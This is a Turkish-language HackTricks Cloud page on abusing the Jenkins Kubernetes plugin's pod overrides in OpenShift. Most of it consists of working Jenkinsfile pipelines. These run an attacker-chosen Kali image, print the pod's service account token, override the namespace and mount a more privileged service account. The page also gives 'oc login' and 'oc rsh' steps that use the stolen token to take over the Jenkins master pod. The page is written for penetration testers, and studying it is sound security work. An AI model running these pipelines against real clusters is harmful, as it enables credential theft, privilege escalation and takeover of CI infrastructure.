Jenkins in Openshift - build pod overrides
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Bu sayfanın orijinal yazarı Fares
Kubernetes plugin for Jenkins
Bu eklenti, openshift/kubernetes kümesindeki Jenkins çekirdek işlevlerinden çoğunlukla sorumludur. Resmi belgeler burada Geliştiricilerin bir jenkins build pod’unun bazı varsayılan yapılandırmalarını geçersiz kılma yeteneği gibi birkaç işlevsellik sunar.
Core functionnality
Bu eklenti, geliştiricilere kodlarını uygun bir ortamda inşa ederken esneklik sağlar.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
Bazı pod yaml override istismarları
Ancak, erişilebilir herhangi bir görüntüyü kullanmak için istismar edilebilir, örneğin Kali Linux ve o görüntüden önceden yüklenmiş araçları kullanarak rastgele komutlar çalıştırabiliriz. Aşağıdaki örnekte, çalışan pod’un serviceaccount token’ını dışarıya aktarabiliriz.
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
Aynı amaca ulaşmak için farklı bir sözdizimi.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Pod’un ad alanını geçersiz kılmak için örnek
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Başka bir örnek, adını temel alarak bir serviceaccount’u (varsayılan olanından daha fazla izinlere sahip olabilecek) monte etmeye çalışır. Öncelikle mevcut serviceaccount’ları tahmin etmeniz veya listelemeniz gerekebilir.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
Aynı teknik, bir Secret’ı monte etmeye çalışmak için de geçerlidir. Buradaki nihai hedef, pod yapınızı etkili bir şekilde yönlendirmek veya ayrıcalık kazanmak için nasıl yapılandıracağınızı anlamaktır.
Daha ileri gitmek
Buna alıştığınızda, Jenkins ve Kubernetes/Openshift hakkındaki bilginizi kullanarak yanlış yapılandırmaları / kötüye kullanımları bulabilirsiniz.
Kendinize şu soruları sorun:
- Hangi hizmet hesabı build pod’larını dağıtmak için kullanılıyor?
- Hangi roller ve izinlere sahip? Şu anda bulunduğum namespace’in gizli bilgilerini okuyabilir mi?
- Diğer build pod’larını daha fazla listeleyebilir miyim?
- Kompromize olmuş bir sa’dan, master node/pod üzerinde komut çalıştırabilir miyim?
- Küme üzerinde başka bir yere yönlendirmek için daha fazla listeleme yapabilir miyim?
- Hangi SCC uygulanıyor?
Hangi oc/kubectl komutlarını vermeniz gerektiğini buradan ve buradan öğrenebilirsiniz.
Olası privesc/yönlendirme senaryoları
Değerlendirmeniz sırasında tüm jenkins build’lerinin worker-ns adlı bir namespace içinde çalıştığını keşfettiğinizi varsayalım. default-sa adlı varsayılan bir hizmet hesabının build pod’larına monte edildiğini anladınız, ancak bazı kaynaklar üzerinde okuma erişimi dışında çok fazla izni yoktu, ancak master-sa adlı mevcut bir hizmet hesabını tanımlayabildiniz. Ayrıca, çalışan build konteyneri içinde oc komutunun yüklü olduğunu varsayalım.
Aşağıdaki build script’i ile master-sa hizmet hesabını kontrol altına alabilir ve daha fazla listeleme yapabilirsiniz.
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
Erişiminize bağlı olarak, ya saldırınıza build script’inden devam etmeniz gerekiyor ya da bu sa olarak çalışan kümede doğrudan giriş yapabilirsiniz:
oc login --token=$token --server=https://apiserver.com:port
Eğer bu sa yeterli izne sahipse (örneğin pod/exec), aynı isim alanında çalışıyorsa, master node pod’u içinde komutlar çalıştırarak tüm jenkins örneğini kontrol altına alabilirsiniz. Bu pod’u adı ve jenkins verilerini depolamak için kullanılan bir PVC (kalıcı hacim talebi) monte etmesi gerektiği gerçeği ile kolayca tanımlayabilirsiniz.
oc rsh pod_name -c container_name
Eğer master node pod’u, worker’lar ile aynı namespace içinde çalışmıyorsa, master namespace’i hedef alarak benzer saldırılar deneyebilirsiniz. Bunun jenkins-master olarak adlandırıldığını varsayalım. serviceAccount master-sa’nın jenkins-master namespace’inde mevcut olması gerektiğini unutmayın (ve worker-ns namespace’inde mevcut olmayabilir).
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

